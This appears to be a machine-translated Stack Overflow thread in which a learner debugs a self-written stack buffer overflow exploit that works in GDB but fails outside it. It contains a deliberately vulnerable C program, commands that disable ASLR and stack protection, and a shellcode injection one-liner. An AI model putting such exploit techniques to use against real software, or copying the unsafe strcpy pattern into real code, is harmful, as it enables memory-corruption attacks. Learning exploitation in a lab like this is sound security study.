2016-02-12 62 views
1

我一直在试图解决这个问题一段时间。我已经检查了几个StackOverflow链接有类似的问题,但没有一个修复程序似乎为我工作。出于某种原因,而不是像我应该(如果我的漏洞利用代码不起作用)得到分段错误,我的漏洞利用代码根本不会产生错误。我原来的假设是perl代码以某种方式产生了一点输出,因此没有溢出到堆栈上,但是我通过将perl命令的输出传递给一个文件证明了这个错误。无GDB的情况下无法重现缓冲区溢出

但是,我无法在GDB中重现此问题。根据我的理解,GDB会禁用ASLR,但我已通过以下命令在系统中暂时禁用它(暂时)。我知道这个命令有效,因为我打印出变量& buff的地址,并且它在多次运行中不会改变。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 

我也对我的可执行堆栈禁用保护金丝雀:

gcc -g -m32 -fno-stack-protector -z execstack exploit.c 

正如我以前说过的,我完全利用作品GDB。这是我的可利用程序,我会告诉你我的漏洞利用代码。

exploit.c

int checkFunc(char *c) { 
    char buff[32]; 
    printf("0x%08x\n", &buff); 
    strcpy(buff, c); 
    if(strcmp(buff, "test") == 0) return 1; 
    else return 0; 
} 

int main(int argc, char *argv[]) { 
    int result = checkFunc(argv[1]); 
    if(result == 1) printf("Access granted\n"); 
    else printf("Access denied\n"); 
    return 0; 
} 

[工作]的GDB输出利用代码

(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`" 
(gdb) run 
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`" 
0xbffff630 
pwn 

利用代码

[email protected]:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;') 
0xbffff660 
Access denied 
定期输出10

是的,我已经考虑到了返回地址的变化(GDB增加了额外的环境变量)。这就是为什么我通过打印出我的程序中的返回地址而被欺骗的原因,以便我知道没有使用GDB的确切值是什么。

如果有人认为exploit代码错了,我也会发布汇编代码。

xor edx,edx ;xor so we don't have to use a null terminator in our code 
xor ecx,ecx 
xor ebx,ebx 
push edx  ;push the null terminator to the stack 
push 0xa6e7770 ;push our string pwn\n to the stack 
mov dl,0x4 
mov ecx,esp 
mov bl,0x1 
mov al,0x4 
int 0x80  ;print our string 
jmp eip - 1 ;keep on looping! 

非常感谢您的提前!我一直坚持这几个小时。只是你们知道,我已经编写了这个可利用的程序,以了解黑客中的缓冲区溢出:开发的艺术。

+1

将gdb附加到进程,不要从gdb本身运行它。这样内存布局不会受到影响。 – Jester

+1

哪个x86'jmp'指令再次是单字节指令?我似乎无法找到它...... – EOF

+1

@EOF你的意思是'jmp short'?这是'0xeb'。它当然需要一个字节的偏移量,所以它总共是2个字节。哦,我的讽刺探测器需要调整。 @ baseman101:他想说的是'jmp eip-1',即使它集合了,也不会做你认为它做的事情。改为使用'jmp $'或等价物。 – Jester

回答

1

对于在未来这个问题的人......

我曾与该方案的问题是在我的缓冲区中的0x0A字符。出于某种原因,GDB将其视为一个简单的新行字符,但是在正常运行程序时,它会被视为空字符。我通过改换换行符来解决问题。感谢您的帮助Jester,EOF和Michael,让我走向正确的方向,并帮助我编写更好的代码:)。

(gdb) x/32x &buff 
0xbffff130:  0x90 0x90 0x31 0xd2 0x31 0xc9 0x31 0xdb 
0xbffff138:  0x31 0xc0 0x52 0x68 0x70 0x77 0x6e 0x00 
0xbffff140:  0x20 0xec 0xfc 0xb7 0x2d 0x86 0x04 0x08 
0xbffff148:  0x64 0xf1 0xff 0xbf 0x00 0x00 0x00 0x00 

正如你所看到的,一个字节为0x00终止字符串,在15字节,因此,我的阵列的其余部分也未初始化值。

我假设程序认为我正在为命令行参数做一个实际的新行,但我们都知道情况并非如此;)。

要解决这个问题,我简单地替换换行符的另一个值。不幸的是,我不知道如何将新行整合到我的程序中,而不会导致这个问题。我想到了以下这个hacky解决方案来弥补。将新行的值减1(0x9)放入寄存器,然后调用寄存器中的inc操作码,并将其推入堆栈。